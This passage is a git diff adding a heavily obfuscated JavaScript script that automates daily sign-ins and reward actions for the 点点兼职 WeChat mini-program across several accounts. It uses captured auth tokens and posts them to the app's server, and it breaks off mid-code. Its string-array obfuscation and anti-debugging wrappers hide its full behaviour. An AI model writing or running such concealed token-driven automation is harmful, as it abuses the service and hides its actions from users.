Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))); return t } msg(s = t, e = "", i = "", o) { const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : "string" == typeof t ? this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : void 0 : "object" == typeof t && (t["open-url"] || t["media-url"]) ? this.isLoon() ? t["open-url"] : this.isQuanX() ? t : void 0 : void 0; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))); let logs = ['', '==============📣系统通知📣==============']; logs.push(t); e ? logs.push(e) : ''; i ? logs.push(i) : ''; console.log(logs.join('\n')); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } })(t, s) } diff --git a/脚本库/微信小程序/抓包版/点点兼职/2025-06-28_点点兼职_08d0c3dd.js b/脚本库/微信小程序/抓包版/点点兼职/2025-06-28_点点兼职_08d0c3dd.js new file mode 100644 index 0000000..8e9b05d --- /dev/null +++ b/脚本库/微信小程序/抓包版/点点兼职/2025-06-28_点点兼职_08d0c3dd.js @@ -0,0 +1,18 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%82%B9%E7%82%B9%E5%85%BC%E8%81%8C.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%82%B9%E7%82%B9%E5%85%BC%E8%81%8C.js +// # Repo: jdqlscript/toulu +// # Path: 点点兼职.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 08d0c3dd70debd0cb3aa538a0994a5d47669595bc2ae2387676426c05c7b781c +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +微信小程序(复制微信打开):#小程序://点点兼职/COV975AeZxXIXVv +或者扫码打开:https://i.postimg.cc/9QsJWfth/mmexport1724125007098.jpg +抓包:https://mili.shensemiao.com/index.php内的api_auth_code= &api_auth_uid 俩参数#链接 +变量:ddjzhd='api_auth_code#api_auth_uid' 多账号使用&或换行隔开 +一天一次 跑两次会有报错 但是不影响 +*/ +var _0x3f4e=['wUtYA','yrKIJ','zzRtc','qMoXd','lDFEl','/v1/scripting/evaluate','gmTOT','eAEDO','miudw','WQHJK','zzsKt','ZiZsr','UQGtc','post','bPvnd','KhbCg','vzcty','LOOBJ','KxkXz','rStQo','UPRhE','qQsWX','LJUXc','aHyeM','bWjFx','HSpIz','https://mili.shensemiao.com/index.php','lOxvV','account','send','llurl','umUPv','HLGJm','FHJyg','RPiJj','HCVTD','TElAU','PmFWF','EDmfz','oZDDX','ZxQGn','charCodeAt','split','SLpQV','dFTtv','ChSkq','ehfvM','BgBRz','got','Host','setval','uDZED','nsADj','jtCfF','cPswW','bcdCE','MfxIe','tXqDQ','set-cookie','zgRXf','qxzWS','XTnNy','toString','brqfQ','eBQAm','JnVaT','xCOEK','tRNHH','QvKqT','isSurge','dczxY','evpUQ','taibI','wcBkn','gvtsz','yjuJM','OrBow','VRHeB','oNKDK','mwYaq','rNgIA','HMWFI','OHHBY','gjoXN','xAMwU','aWmzv','MlJXs','DLvtt','GgiJS','esthm','fQtOk','hUCaO','MlstC','id=','constructor','WgNFW','vYyqn','avMyy','Content-Length','ACnFf','rHEpd','SFisu','appid','redirect','paptq','AMiBR','FfFEo','theway=initialization&search=1','MjfYu','rWlRM','setCookieSync','ckjar','eUuwe','eBWhk','ZgMhE','wubZL','GAtRW','SoAoP','XPleW','tmJVx','iwBTg','getMinutes','rfjTO','hESMC','ZPDTY','rjGPQ','kdQmm','http://','CJxLo','IEZdB','peDZK','rABCI','DtGIR','ldjly','\x0a【debug】===============\x20这是\x20\x20请求\x20url\x20===============','MZyEn','StOXq','@chavy_boxjs_userCfgs.httpapi_timeout','zaCkJ','setjson','iBuoy','time','tough-cookie','status','KGCib','SGKKj','getMonth','IYbAK','yquZV','wallet','UCgha','logErr','Iwlgn','faYFp','zcUnS','\x20个账号】====\x0a','User-Agent','cWkOm','iaKMW','EhsSa','wait','AtXdz','runScript','LlAuI','nlpIQ','zZUVM','statusCode','sdzeB',',\x20结束!\x20🕛\x20','KLXJX','RGjAm','test','rWWVi','NkNrS','Fklkg','lodash_set','MCtNW','vPwxo','resolve','YZgVr','WhqnF','^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}','TcOqZ','YILYI','dcevO','getDate','media-url','iDgFr','OMgVF','uuicR','xvrew','fqfBT','acyfh','esTKq','ctZyu','jrKhC','ckilO','JNyuy','kdChR','writedata','logs','log','hFGjG','VOgrH','CSBxI','hints','POST','cepDk','mLKTm','XOGUZ','svsti','aWhia','gzip,\x20deflate,\x20br','QrEqO','lVtrp','exit','Sapwo','QMYaN','data','wTvoR','parse','mDUXw','EKvYT','ZVQtG','lhYyM','vYSTR','KNrWS','OyBEB','null',',原因:','ipCMQ','uXepd','KfCvI','OKNyt','OtXLT','XAmkY','AbFyC','ZAMnt','VopQo','bEenJ','sign_in','ioscQ','ASecM','xMCqJ','HPmOx','ktTab','logSeparator','indexOf','iEqCy','HGlGj','zlWBR','aBaWr','BPTxo','dPpik','exec','dXsUS','KiNmV','\x0a====\x20开始【第\x20','UyyBr','valueForKey','ZEewI','WKsUW','AdEcb','xIzHj','keMVC','zfIVc','cMSTp','YMGgq','ebajp','OIAdt','ZspJo','qUlnp','cron','getSeconds','startTime','fetch','dKEIZ','OHEaH','aqaMP','KZRBK','19|66|14|49|9|59|43|32|18|1|70|16|37|33|45|58|51|4|12|39|54|64|22|68|63|44|61|10|60|48|27|55|17|67|31|11|65|13|34|5|41|6|47|56|57|29|0|50|26|20|21|62|3|24|23|8|15|30|7|46|52|40|42|35|36|69|53|25|38|28|2|71','edfrX','fillin','nDiUe','getFullYear','bdcns','FJSSf','FcoNT','&fblx=1&wcs=1&theway=signin&search=1','pfwuo','eosrA','yUkbY','LrYmM','FRLul','QNkRm','GeBXV','JOihA','ryXfF','GLDvj','hIZMq','ISAxB','Mnocf','setdata','xzbQm','TfVnd','ID\x20not\x20found\x20in\x20llurl.','gNTUH','isMute','XESzn','RQKVz','gDUio','CSWov','oonZi','naJLD','oEOPe','ZAgxB','iLkBx','OaBmF','pOehi','YczQr','error','opts','Rryqp','vpMQL','map','\x20个账号\x20===================','KBfAI','oAOHT','Pmxjk','tRrUi','GmrFW','ZrMek','POcQT','EXnJe','push','vORHW','call','khyFS','fb_detail','KGoqO','【debug】\x20这是你的全部账号数组:\x0a\x20','oazDo','JSJKp','HLZwx','replace','jar','LnrwJ','rUaSq','YoGyu','rcFTD','ZIzLu','stringify','MNkyf','YrDAn','zRJEh','BILrH','ZkTKN','TaBag','phone','bWYbM','getTime','BroMH','VUCmB','MNpDM','NPWZA','step=0','VBBwL','IEKDt','wyCEL','EYaEQ','OWKiF','member','oAINt','GUJEr','defaults','loaddata','hVbtr','eRZfL','zPcrX','VUXvR','Accept-Encoding','oSBlV','vQWhh','setValueForKey','vKWng','arwaV','cookieJar','reduce','zQNWV','url','pmBpE','JHYpT','RCxoo','getdata','concat','bVzfB','HlQIP','TcUsb','kdePg','viKcW','HhKQD','jDtys','FbyvW','当前余额:','VfcRF','OgxCs','JEwVt','PostmanRuntime-ApipostRuntime/1.1.0','lXvcl','Accept','ZXbFV','api_auth_code','xKjxs','LAMrp','vECMA','qcYHg','eVxfP','fKAkc','oFCea','oNYYX','qFXPx','undefined','QLIMi','MGnDz','GXzRS','PkACp','YvxTt','write','nLNVf','kgVEu','./sendNotify','uleLy','PHPCMF19F5DF41B263B','existsSync','NuOHo','HbOyb','getMilliseconds','wmOZt','keep-alive','AhXrG','phrAM','&pattern=signin&patternid=1&wcs=1&wdfb=','uOBaA','FFAAq','forEach','aCeze','dataFile','rbAfW','NbRYO','HRIpH','EEiYw','cwd','iOUEl','EAwdT','mili.shensemiao.com','application/x-www-form-urlencoded','egvhE','mwnrI','toLocaleString','6|1|3|2|0|11|12|9|8|14|13|4|10|5|7','OAOTZ','initGotEnv','tkifA','WhiMB','RkqlM','ugmGZ','DoAlV','zGqXz','substr','toObj','EZRHo','ktlMy','XdHnM','zzrBK','tvnEp','tErYH','JzPtL','VjcWm','RQtVQ','vsowr','*/*','fFiTH','AaFqR','catch','Twxhe','cktough','Qtwwx','random','myfAx','PjxGO','VASpm','isArray','hqRrR','FSkfU','Connection','vhdYs','zjhMd','YtpfG','VTwiF','GSIzM','path','yyuew','Etfjf','peNGO','mhdkL','MZgRR','CookieJar','JNGLR','UvFRB','dvNvO','VNaJb','ugQVd','当前手机号:','SGQOg','qCclz','slice','bGnmk','ZmywL','tdiCl','PdOaF','YDjiq','UzfuH','XXhcr','omnlw','WQoLI','CNicc','bZjuW','TNHhM','headers','trim','LgXdo','DTxVT','vTxFs','cwozJ','GTIaH','】:未填写变量\x20ddjzhd','xOeIH','nfUEf','mYTPx','XjpPE','exports','LqULL','WnZwK','writeFileSync','Winuj','thPNd','KmdnQ','ijjMt','levKc','DcxlF','XRcbH','Pyuju','Yhxcx','fMGPG','LEOWP','DECvu','mDCam','UEmSx','tCbvR','assign','zEagi','znLUR','XrEDv','CgYPi','plirc','SjVjO','lfFaX','EkWAE','isNode','QKWyx','xOHBU','zUkfb','ZXDtK','jllFZ','rzylJ','eSdXs','UBnwZ','wbeEB','lpdQB','oabjl','toStr','hueRy','Wobto',',\x20开始!','AXsVf','lEIlq','YRYcF','HPJHS','dBgYL','neIyF','VYYnI','sZKBu','jFUDV','isQuanX','vCCmG','fLdRD','PkKUX','nFLXk','JVAkW','NWGXO','qaWRw','jBYLi','KWoKC','getval','mIzcr','OqyNw','TLYWG','xnEKw','BbmPL','sourceid=137303&theway=submit&search=1','openUrl','meykl','tgprice','MYUAo','then','PCGTQ','Bbcrh','iHgjO','app','LvWlH','BOAKW','hTsfp','\x0a【debug】===============\x20这是请求url\x20===============','sXTSt','home','mhvyM','LgDkj','asJfm','isMuteLog','params','qJjfa','evbsK','hhVRP','BBmmf','bipPu','WfFXT','VxvaG','RSidt','sendNotify','tOwEh','api_auth_uid','ZXtbg','asjMY','stack','xOGFr','qjHbV','ICWMO','JYPFw','vcAKd','PJwfu','kpdkU','kgzfK','TCyky','isLoon','GITHUB','JUffv','IXTLr','jNHxw','请求异常:','script_text','zMGUz','ZrmWy','GgNjd','uElMg','\x0a【debug】===============这是返回data==============','GET','yhxcx','WdBcX','ZWtCr','QVUXG','mCtZY','vYdqr','slpGo','hEEnm','AkaSY','fKCwH','kUWDd','xbkKc','BaYnd','VgbpA','UDmGt','lLjxA','UZYnP','EdhHZ','gGSYi','PWZQs','JgCQP','UJscY','qROJk','ZDgZN','JxUJt','GmgfQ','XTydv','usiRE','enOZZ','qCCdC','CMjjp','BWdLg','KzbQa','WTStI','EoSze','env','zOkIi','HQCzg','open-url','bmptT','DydnS','EhJwI','PPbNe','rZbdP','floor','ExjBx','zWfII','pNowF','YsgUg','dMoEG','pXUdL','AJOWK','\x0a\x20【','aytHi','EEzcl','SAVoP','UKWUO','wVccp','lodash_get','dIkoL','MjZhU','VTJXr','gOoWR','message','eXDYu','SiJiD','join','AFWrS','&fblx=1&wcs=0&theway=signin&search=1','EHQIN','DndHm','gnAxX','yaGol','IjnrO','MTDLf','Ocnvn','FSsrE','EDGfO','nFTNZ','TfCAW','tLpdr','jSzCz','request','XTiDd','length','\x20\x0a=============================================\x0a','vnHUW','SXYEH','XtNsE','TtGoz','method','CXVEB','OjghV','SFHEm','fAyku','WDZjY','RmnAd','CpldS','YDuEH','hlvvJ','sJMhR','MMRQe','异常:','mOGCi','HbaWg','ZtaMZ','read','MLDHZ','lLodA','pqxDI','PdBwd','body','WmoMM','zelmj','LwSxH','.$1','getHours','sHleQ','DfEKs','cLGmB','tMcWx','ddjzhd','msg','oCjhk','WSIiw','QvjEX','MEKZp','abs','TJPeC','TPIbt','VcMom','xkCTp','yZMAK','MhteS','fromCharCode','box.dat','hupMh','iWGUh','VHLtT','WUBkd','odAby','oUVVk','LEEmv','aEPcp',',\x20错误!','ATXzb','BjTdY','dEnyn','PGbMp','mediaUrl','OUAEy','unzoO','readFileSync','nrdVr','lSHNj','CfvQM','CWmcS','get','huSAf','qtkZO','finally','unlAm','vehrz','eppqR','YCCqo','AjNoX','nVsXg','uYpeE','XTSlD','lTWnw','aNWYf','Zytxv','NeQVb','WVCOB','HZhOd','nkrXe','ZnNoY','LJWEY','mock_type','SYmds','hGjNp','lwfua','Hqtda','qyEpD','yDDzm','ObHXP','isNeedRewrite','VaBmi','hPrBH','eWHff','BaJJT','name','eJJFq','YAOFm','yjtVu','\x0a\x0a【debug】===============这是\x20返回data==============','qAUVz','ZXVrp','appsecret','X-Surge-Skip-Scripting','qqceQ','match','eVOVl','qqybp','Cookie','xpxHG','gYAEi','dFrAh','timeout','Content-Type','TFODT','KNyoe','giTVv'];(function(_0x3b46d4,_0x14e51f){var _0x6c3e82=function(_0x207105){while(--_0x207105){_0x3b46d4['push'](_0x3b46d4['shift']());}},_0x150c66=function(){var _0x1cbff4={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x16d44c,_0x1f8d25,_0x563257,_0x53238a){_0x53238a=_0x53238a||{};var _0x4efd61=_0x1f8d25+'='+_0x563257,_0x418bbd=0xf44+-0x23d5*0x1+-0x1*-0x1491;for(var _0xae62c6=0x1a03*-0x1+-0xdee+-0x1*-0x27f1,_0x41fcbd=_0x16d44c['length'];_0xae62c6<_0x41fcbd;_0xae62c6++){var _0x52f417=_0x16d44c[_0xae62c6];_0x4efd61+=';\x20'+_0x52f417;var _0x2a4858=_0x16d44c[_0x52f417];_0x16d44c['push'](_0x2a4858),_0x41fcbd=_0x16d44c['length'],_0x2a4858!==!![]&&(_0x4efd61+='='+_0x2a4858);}_0x53238a['cookie']=_0x4efd61;},'removeCookie':function(){return'dev';},'getCookie':function(_0x558dd3,_0x270c6e){_0x558dd3=_0x558dd3||function(_0xdffc72){return _0xdffc72;};var _0x2400f0=_0x558dd3(new RegExp('(?:^|;\x20)'+_0x270c6e['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)')),_0x343eb9=function(_0xf7db25,_0x113d20){_0xf7db25(++_0x113d20);};return _0x343eb9(_0x6c3e82,_0x14e51f),_0x2400f0?decodeURIComponent(_0x2400f0[0xfcd+0x68f*-0x1+-0x2b*0x37]):undefined;}},_0x2480cd=function(){var _0x383acb=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x383acb['test'](_0x1cbff4['removeCookie']['toString']());};_0x1cbff4['updateCookie']=_0x2480cd;var _0x1d65c0='';var _0x2fda1c=_0x1cbff4['updateCookie']();if(!_0x2fda1c)_0x1cbff4['setCookie'](['*'],'counter',-0x29*0xb2+-0x19ca*-0x1+0x2b9);else _0x2fda1c?_0x1d65c0=_0x1cbff4['getCookie'](null,'counter'):_0x1cbff4['removeCookie']();};_0x150c66();}(_0x3f4e,0xded*-0x2+0x7ca*0x5+-0x9aa));var _0x22a4=function(_0xff0d18,_0x1eb02c){_0xff0d18=_0xff0d18-(0xf44+-0x23d5*0x1+-0x1*-0x1491);var _0x3032c8=_0x3f4e[_0xff0d18];return _0x3032c8;};var _0x127107=_0x22a4,_0x5711d3=function(){var _0x24f13f=_0x22a4,_0x81b4f8={};_0x81b4f8[_0x24f13f('0x26d')]=function(_0x1214b2,_0x497c0c){return _0x1214b2(_0x497c0c);},_0x81b4f8[_0x24f13f('0x1ec')]=function(_0xd0bcb6,_0x342ee2){return _0xd0bcb6<_0x342ee2;},_0x81b4f8['Pmxjk']=function(_0x256c13,_0x55ebae){return _0x256c13|_0x55ebae;},_0x81b4f8[_0x24f13f('0x1f4')]=function(_0x1a3c9d,_0xd383e1){return _0x1a3c9d|_0xd383e1;},_0x81b4f8[_0x24f13f('0x327')]=function(_0x3ae40b,_0x19c9e7){return _0x3ae40b>>_0x19c9e7;},_0x81b4f8[_0x24f13f('0x84')]=function(_0x709be,_0x45d684){return _0x709be!==_0x45d684;},_0x81b4f8[_0x24f13f('0x116')]='hMoSN',_0x81b4f8[_0x24f13f('0x135')]=function(_0x56b751,_0x4ad5a0){return _0x56b751===_0x4ad5a0;},_0x81b4f8['XjpPE']=_0x24f13f('0x328');var _0x48eafa=_0x81b4f8,_0xc017a9=!![];return function(_0xad6c9e,_0x179f0e){var _0x2726a3=_0x24f13f,_0x6c09a3={};_0x6c09a3['zGqXz']=function(_0x149a8d,_0x57997a){return _0x48eafa['MjfYu'](_0x149a8d,_0x57997a);},_0x6c09a3['wUtYA']=function(_0x3707fd,_0x10fc53){return _0x48eafa['eJJFq'](_0x3707fd,_0x10fc53);},_0x6c09a3['CggPJ']=function(_0x96777,_0x1c96fb){var _0x2fef1a=_0x22a4;return _0x48eafa[_0x2fef1a('0x349')](_0x96777,_0x1c96fb);},_0x6c09a3[_0x2726a3('0x3b')]=function(_0x4f9541,_0x390964){return _0x4f9541|_0x390964;},_0x6c09a3['asjMY']=function(_0xf7c551,_0x601941){var _0x599c5d=_0x2726a3;return _0x48eafa[_0x599c5d('0x1f4')](_0xf7c551,_0x601941);},_0x6c09a3[_0x2726a3('0x1f9')]=function(_0x823c4e,_0x4c58d5){return _0x48eafa['QNkRm'](_0x823c4e,_0x4c58d5);},_0x6c09a3['CSWov']=function(_0x21a789,_0x4ddaf5){var _0x2c70f1=_0x2726a3;return _0x48eafa[_0x2c70f1('0x84')](_0x21a789,_0x4ddaf5);},_0x6c09a3['eSdXs']=_0x48eafa[_0x2726a3('0x116')],_0x6c09a3[_0x2726a3('0x1d8')]=function(_0x57cfd0,_0xc4169f){return _0x48eafa['fKCwH'](_0x57cfd0,_0xc4169f);},_0x6c09a3[_0x2726a3('0x2f5')]=_0x48eafa[_0x2726a3('0xad')];var _0x421097=_0x6c09a3,_0x4545c9=_0xc017a9?function(){var _0xeb1c25=_0x2726a3,_0xd7e602={};_0xd7e602[_0xeb1c25('0x205')]=function(_0x4c77ea,_0x43c5d4){var _0x3dbee9=_0xeb1c25;return _0x421097[_0x3dbee9('0x201')](_0x4c77ea,_0x43c5d4);},_0xd7e602[_0xeb1c25('0x2d1')]=function(_0x13224a,_0x255154){return _0x13224a>_0x255154;},_0xd7e602[_0xeb1c25('0x22c')]=function(_0xf4da92,_0x3b68e0){return _0x421097['CggPJ'](_0xf4da92,_0x3b68e0);},_0xd7e602['WKsUW']=function(_0x488b33,_0x10a60c){return _0x488b33>>_0x10a60c;},_0xd7e602[_0xeb1c25('0x104')]=function(_0x365bd5,_0xb68e40){var _0xa7a52e=_0xeb1c25;return _0x421097[_0xa7a52e('0x3b')](_0x365bd5,_0xb68e40);},_0xd7e602[_0xeb1c25('0x336')]=function(_0x4a8e04,_0x4edbf6){return _0x4a8e04&_0x4edbf6;},_0xd7e602[_0xeb1c25('0x308')]=function(_0x147a33,_0x5281ed){var _0x1cbd61=_0xeb1c25;return _0x421097[_0x1cbd61('0x114')](_0x147a33,_0x5281ed);},_0xd7e602[_0xeb1c25('0x18c')]=function(_0x405f48,_0x9d08d0){return _0x421097['xpxHG'](_0x405f48,_0x9d08d0);},_0xd7e602[_0xeb1c25('0x358')]=function(_0x345784,_0x1c601e){var _0x47b7f4=_0xeb1c25;return _0x421097[_0x47b7f4('0x1f9')](_0x345784,_0x1c601e);};var _0x31e320=_0xd7e602;if(_0x421097[_0xeb1c25('0x338')](_0xeb1c25('0x6b'),_0x421097[_0xeb1c25('0xd1')])){if(_0x179f0e){if(_0x421097[_0xeb1c25('0x1d8')](_0x421097['HPmOx'],_0x421097['HPmOx'])){var _0x46ea39=_0x179f0e['apply'](_0xad6c9e,arguments);return _0x179f0e=null,_0x46ea39;}else{function _0xde5ba3(){var _0x144272=_0xeb1c25,_0x53775d=_0x43316a['charCodeAt'](_0x2db423);if(_0x31e320[_0x144272('0x205')](_0x53775d,0x257*0xb+-0x9dc+0x1f*-0x7f))_0x4a0427+=_0x5eec19[_0x144272('0x1b2')](_0x53775d);else _0x31e320['mLKTm'](_0x53775d,-0x45*-0x21+0x241e+-0x2c84)&&_0x31e320[_0x144272('0x205')](_0x53775d,-0x4*-0x822+-0x41d+-0x146b)?(_0x7a51e7+=_0x52816c[_0x144272('0x1b2')](_0x31e320[_0x144272('0x22c')](_0x31e320[_0x144272('0x306')](_0x53775d,-0x2599+0x1e2e+0x771),0x19*-0x97+0x82d+0x752)),_0x25857e+=_0x540402[_0x144272('0x1b2')](_0x31e320[_0x144272('0x104')](_0x31e320['RQKVz'](_0x53775d,0x1bbe+0x2*0xde5+-0x1*0x3749),-0x4ff*0x1+0x2*0x113d+-0x9a9*0x3))):(_0x3b1631+=_0x4517bf[_0x144272('0x1b2')](_0x31e320[_0x144272('0x308')](_0x31e320[_0x144272('0x18c')](_0x53775d,-0x99*0x2f+0x1d1a+0x1*-0xf7),-0x1c64+0x20db*-0x1+0xab*0x5d)),_0x2d3a71+=_0x383b40[_0x144272('0x1b2')](_0x31e320[_0x144272('0x308')](_0x31e320[_0x144272('0x358')](_0x53775d,0xd*-0x60+-0x1f93+-0x1*-0x2479)&-0x7*0x51f+0x1*-0x1e2a+-0x16*-0x303,-0x42+0x35b+-0x13*0x23)),_0x2bc876+=_0x23fe7d['fromCharCode'](_0x31e320['xIzHj'](_0x31e320[_0x144272('0x336')](_0x53775d,0x1dbe+0x14aa*-0x1+-0x8d5),-0xba1+-0xab6*-0x3+-0x1401)));}}}}else{function _0x413e18(){var _0x119b33=_0xeb1c25;_0x421097[_0x119b33('0x65')](_0x14d72e,_0x119b33('0x192')+_0x503c13);}}}:function(){};return _0xc017a9=![],_0x4545c9;};}(),_0x7ac0aa=_0x5711d3(this,function(){var _0x1ae7e9=_0x22a4,_0x46135a={};_0x46135a[_0x1ae7e9('0xce')]=function(_0x37338a){return _0x37338a();};var _0x20e710=_0x46135a,_0x424f7f=function(){var _0x53cfe4=_0x1ae7e9,_0x224ee0=_0x424f7f[_0x53cfe4('0x25f')]('return\x20/\x22\x20+\x20this\x20+\x20\x22/')()[_0x53cfe4('0x25f')](_0x53cfe4('0x2b6'));return!_0x224ee0[_0x53cfe4('0x2ac')](_0x7ac0aa);};return _0x20e710[_0x1ae7e9('0xce')](_0x424f7f);});_0x7ac0aa();const $=new Env('点点兼职'),axios=require('axios');let request=require(_0x127107('0x17e'));var _0x4dd5d8={};_0x4dd5d8[_0x127107('0x35a')]=!![],request=request[_0x127107('0x8')](_0x4dd5d8);const {log}=console,Notify=-0x3*0x772+0x792+0xec5,debug=-0xacd+-0x93*0x3b+0x2cae;let ddjzhd=($[_0x127107('0xca')]()?process[_0x127107('0x14f')]['ddjzhd']:$[_0x127107('0x1b')](_0x127107('0x1a5')))||'',ddjzhdArr=[],data='',iddd='',idd='2257,2057,1807,2129,2383,2164,1970,2076',idArray=idd[_0x127107('0x22b')](','),randomId=idArray[Math[_0x127107('0x158')](Math[_0x127107('0x79')]()*idArray[_0x127107('0x180')])],msg='';var hours=new Date()['getMonth'](),timestamp=Math['round'](new Date()[_0x127107('0x369')]())[_0x127107('0x23f')]();!(async()=>{var _0xab1d18=_0x127107,_0x217f9b={};_0x217f9b['OIAdt']=function(_0x5adb87,_0x3873ca){return _0x5adb87(_0x3873ca);},_0x217f9b[_0xab1d18('0x162')]=function(_0x5c712e,_0x59d413){return _0x5c712e(_0x59d413);},_0x217f9b['IXTLr']=function(_0x292653,_0x496832){return _0x292653!==_0x496832;},_0x217f9b[_0xab1d18('0x6')]=_0xab1d18('0x37'),_0x217f9b[_0xab1d18('0x2ea')]=function(_0x29ed26){return _0x29ed26();},_0x217f9b[_0xab1d18('0x1b5')]=function(_0x25e381,_0x1a4832){return _0x25e381!==_0x1a4832;},_0x217f9b[_0xab1d18('0x18e')]='Mcgtc',_0x217f9b[_0xab1d18('0x81')]=_0xab1d18('0x1e8'),_0x217f9b[_0xab1d18('0x22e')]=function(_0x33d5b0,_0x3a7426){return _0x33d5b0(_0x3a7426);},_0x217f9b[_0xab1d18('0x225')]=function(_0x29f9f6,_0x2058ee){return _0x29f9f6+_0x2058ee;},_0x217f9b[_0xab1d18('0x222')]=function(_0x2bee79,_0x51fe8e){return _0x2bee79*_0x51fe8e;},_0x217f9b[_0xab1d18('0x1ce')]=function(_0x25d585,_0xf2d748){return _0x25d585*_0xf2d748;},_0x217f9b['KxkXz']=function(_0x59d3b3,_0x124a3d){return _0x59d3b3*_0x124a3d;},_0x217f9b[_0xab1d18('0x20f')]=function(_0x2a57ca,_0x5c3b42){return _0x2a57ca<_0x5c3b42;},_0x217f9b[_0xab1d18('0xbc')]=function(_0x3855d4,_0x209f72){return _0x3855d4===_0x209f72;},_0x217f9b[_0xab1d18('0x291')]=_0xab1d18('0x9c'),_0x217f9b[_0xab1d18('0x2ec')]=_0xab1d18('0x2e7'),_0x217f9b[_0xab1d18('0x26a')]=function(_0x3e24df,_0x5903ad){return _0x3e24df+_0x5903ad;},_0x217f9b[_0xab1d18('0x214')]=function(_0x7463ec){return _0x7463ec();},_0x217f9b[_0xab1d18('0x18d')]=function(_0x5725d2){return _0x5725d2();},_0x217f9b['gjLai']=function(_0x56f6d9,_0x1cc19c){return _0x56f6d9(_0x1cc19c);};var _0x10f7ad=_0x217f9b;if(_0x10f7ad[_0xab1d18('0x122')](typeof $request,_0x10f7ad[_0xab1d18('0x6')]))await _0x10f7ad['OKNyt'](GetRewrite);else{if(_0x10f7ad['iWGUh'](_0x10f7ad['YDuEH'],'Mcgtc')){function _0x458ef6(){var _0x2f4e6c=_0xab1d18;try{_0x4fa326=_0x1ac180[_0x2f4e6c('0x2db')],_0x383425&&(_0x10f7ad[_0x2f4e6c('0x30e')](_0x3d71d7,_0x2f4e6c('0x1ef')),_0x10f7ad['EEzcl'](_0x4c688b,_0x4a3d15[_0x2f4e6c('0x360')](_0x500885[_0x2f4e6c('0x2db')]))),_0x1db639(_0x535a71[_0x2f4e6c('0x1a6')]);}catch(_0x4ae251){_0x3a6680('异常:'+_0x5dd4f5+_0x2f4e6c('0x2e6')+_0x414f90[_0x2f4e6c('0x16b')]);}}}else{if(!await _0x10f7ad[_0xab1d18('0x2ea')](Envs))return;else{if(_0x10f7ad['vhdYs']===_0x10f7ad['vhdYs']){_0x10f7ad['ChSkq'](log,'\x0a\x0a=============================================\x20\x20\x20\x20\x0a脚本执行\x20-\x20北京时间(UTC+8):'+new Date(_0x10f7ad['TElAU'](_0x10f7ad[_0xab1d18('0x225')](new Date()['getTime'](),_0x10f7ad['FHJyg'](_0x10f7ad['vehrz'](new Date()['getTimezoneOffset'](),-0x1f07+-0x1*0x1b7f+0x3ac2),-0xb8+-0x1*-0x1f73+-0x1ad3)),_0x10f7ad[_0xab1d18('0x213')](_0x10f7ad[_0xab1d18('0x213')]((0x21eb+-0x8d*-0x5+0x43*-0x8c)*(-0x1640+0xbf5*0x2+0x1*-0x16e),0x1*0x20d2+0x22f9*-0x1+0x263*0x1),-0x142e+-0x10f*0x24+0x3e32)))[_0xab1d18('0x5c')]()+_0xab1d18('0x181')),_0x10f7ad[_0xab1d18('0x22e')](log,'\x0a===================\x20共找到\x20'+ddjzhdArr[_0xab1d18('0x180')]+_0xab1d18('0x346'));debug&&_0x10f7ad[_0xab1d18('0x22e')](log,_0xab1d18('0x355')+ddjzhdArr);for(let _0x141b35=0x2422*-0x1+0xfaf*0x1+0x1473;_0x10f7ad[_0xab1d18('0x20f')](_0x141b35,ddjzhdArr['length']);_0x141b35++){if(_0x10f7ad['LEOWP'](_0x10f7ad[_0xab1d18('0x291')],_0x10f7ad[_0xab1d18('0x2ec')])){function _0x1801a2(){var _0x1a9e40=_0xab1d18;_0x303226[_0x1a9e40('0x34f')](_0x5175c7);}}else{let _0x5f08c3=_0x10f7ad[_0xab1d18('0x26a')](_0x141b35,-0xba5*-0x1+0x2*0x106d+-0x2c7e);log(_0xab1d18('0x302')+_0x5f08c3+_0xab1d18('0x29c')),ddjzhd=ddjzhdArr[_0x141b35][_0xab1d18('0x22b')]('#'),await login1(),await checkin1(),await _0x10f7ad[_0xab1d18('0x214')](checkin2),await _0x10f7ad[_0xab1d18('0x18d')](checkin5),await checkin6();}}await _0x10f7ad['gjLai'](SendMsg,msg);}else{function _0x3ceec0(){var _0x2abaac=_0xab1d18,_0xa6ea0a={};_0xa6ea0a[_0x2abaac('0x99')]=function(_0x10e28d,_0x487dbe,_0xbd225e,_0x995075){return _0x10e28d(_0x487dbe,_0xbd225e,_0x995075);};var _0x5afeb0=_0xa6ea0a;this[_0x2abaac('0x5f')](_0x3bbad1);const {url:_0x5697e0,..._0x44b415}=_0x20f35d;this[_0x2abaac('0x231')][_0x2abaac('0x20e')](_0x5697e0,_0x44b415)[_0x2abaac('0xf8')](_0x802324=>{var 